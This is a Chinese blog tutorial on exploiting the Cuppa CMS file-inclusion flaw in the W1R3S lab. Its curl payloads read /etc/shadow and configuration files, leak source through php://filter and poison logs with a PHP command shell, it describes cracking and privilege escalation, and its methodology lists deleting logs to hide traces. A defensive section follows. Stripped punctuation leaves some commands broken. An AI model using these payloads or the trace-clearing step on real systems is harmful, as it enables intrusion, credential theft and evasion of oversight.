Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)

📅 2026/7/8 20:25:55
Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)
Cuppa CMS 文件包含漏洞深度解析从原理到实战绕过技巧1. 漏洞背景与原理剖析Cuppa CMS 是一款基于 PHP 的开源内容管理系统其/alerts/alertConfigField.php文件存在严重的文件包含漏洞。该漏洞源于开发者直接使用$_REQUEST[urlConfig]作为include()函数的参数且未对用户输入进行任何过滤处理。漏洞核心代码如下?php include($_REQUEST[urlConfig]); ?这种实现方式导致了以下安全问题本地文件包含(LFI)通过目录遍历可读取服务器敏感文件远程文件包含(RFI)当allow_url_include开启时可执行远程恶意代码PHP 伪协议利用即使禁用 RFI 仍可通过php://filter获取源码漏洞危害等级高危CVSS 3.1评分 9.8提示文件包含漏洞常被用于读取配置文件、日志文件等进而获取数据库凭证或实现权限提升。2. 环境搭建与基础验证2.1 实验环境准备推荐使用以下环境进行漏洞复现靶机W1R3S 1.0.1 (Vulnhub)攻击机Kali Linux 2023网络配置NAT模式同网段必要工具清单# Kali 基础工具 sudo apt install curl nmap dirsearch john -y # 可选工具 git clone https://github.com/danielmiessler/SecLists.git2.2 基础漏洞验证传统 GET 方式测试curl http://target/administrator/alerts/alertConfigField.php?urlConfig../../../../../../../etc/passwd常见失败原因分析路径深度不足需要至少7级../特殊字符被过滤或编码服务端配置了请求方法限制3. POST请求绕过技术详解3.1 请求方法差异分析通过对比GET与POST的处理逻辑差异我们发现特性GET请求POST请求参数位置URL可见请求体隐藏长度限制约2048字符理论上无限制数据编码URL编码多种编码可选安全过滤通常更严格可能绕过部分WAF规则3.2 有效Payload构造成功读取/etc/passwd的POST请求curl -X POST -d urlConfig../../../../../../../../../etc/passwd \ http://192.168.47.154/administrator/alerts/alertConfigField.php关键技巧使用绝对路径遍历至少8级../对特殊字符进行URL编码添加随机请求头规避基础防护3.3 敏感文件读取实战读取Linux系统关键文件1. 用户账户信息# 读取/etc/passwd curl -X POST -d urlConfig../../../../../../../../../etc/passwd $TARGET # 读取/etc/shadow需root权限 curl -X POST -d urlConfig../../../../../../../../../etc/shadow $TARGET2. Web服务器配置# Apache配置 curl -X POST -d urlConfig../../../../../../../../../etc/apache2/apache2.conf $TARGET # Nginx配置 curl -X POST -d urlConfig../../../../../../../../../etc/nginx/nginx.conf $TARGET3. 数据库凭证获取# Cuppa CMS配置文件 curl -X POST -d urlConfigphp://filter/convert.base64-encode/resource../Configuration.php $TARGET | base64 -d4. 漏洞利用进阶技巧4.1 伪协议利用当目录遍历被限制时PHP伪协议是绝佳的替代方案1. 源码泄露curl -X POST -d urlConfigphp://filter/convert.base64-encode/resourceindex.php $TARGET | base64 -d2. 文件包含结合日志注入# 注入PHP代码到访问日志 curl -A ?php system(\$_GET[cmd]); ? $TARGET # 包含日志文件执行代码 curl -X POST -d urlConfig../../../../../../../../../var/log/apache2/access.log $TARGET4.2 权限提升路径通过文件包含获取敏感信息后的典型提权路径数据库凭证提取→ SQL注入/直接登录SSH私钥发现→ 私钥登录尝试配置文件泄露→ 查找硬编码凭证Cron任务分析→ 寻找可写脚本在W1R3S靶场中通过读取shadow文件并破解哈希后发现用户w1r3s具有sudo权限$ sudo -l User w1r3s may run the following commands on this host: (ALL : ALL) ALL5. 防御方案与修复建议5.1 临时缓解措施对于无法立即升级的系统1. 输入过滤$allowedPaths [config/,alerts/]; $urlConfig $_REQUEST[urlConfig]; if(!in_array(dirname($urlConfig), $allowedPaths)){ die(Invalid path!); }2. 文件白名单$allowedFiles [config.ini,settings.php]; if(!in_array(basename($urlConfig), $allowedFiles)){ die(File not allowed!); }5.2 彻底修复方案升级到最新安全版本禁用危险PHP函数allow_url_includeOff实施最小权限原则Web用户只读权限部署WAF规则拦截恶意包含请求5.3 安全开发规范安全文件包含实现模板?php $baseDir /var/www/cuppa/; $requestedFile $_GET[file]; $absolutePath realpath($baseDir . $requestedFile); // 验证路径是否在白名单内 if(strpos($absolutePath, $baseDir) ! 0){ die(非法访问); } // 验证文件扩展名 $allowedExt [php,html,txt]; $ext pathinfo($absolutePath, PATHINFO_EXTENSION); if(!in_array($ext, $allowedExt)){ die(不支持的文件类型); } include($absolutePath); ?6. 渗透测试方法论总结在实战渗透测试中遇到类似漏洞时应遵循以下流程信息收集识别CMS版本和已知漏洞PoC验证测试基础漏洞是否存在绕过尝试变换请求方法/编码方式权限提升利用获取的信息扩大访问范围痕迹清理删除日志和临时文件典型踩坑记录使用John破解shadow文件时注意清除~/.john/john.pot避免重复破解某些系统对路径长度有限制需要优化../数量不同PHP版本对伪协议的支持存在差异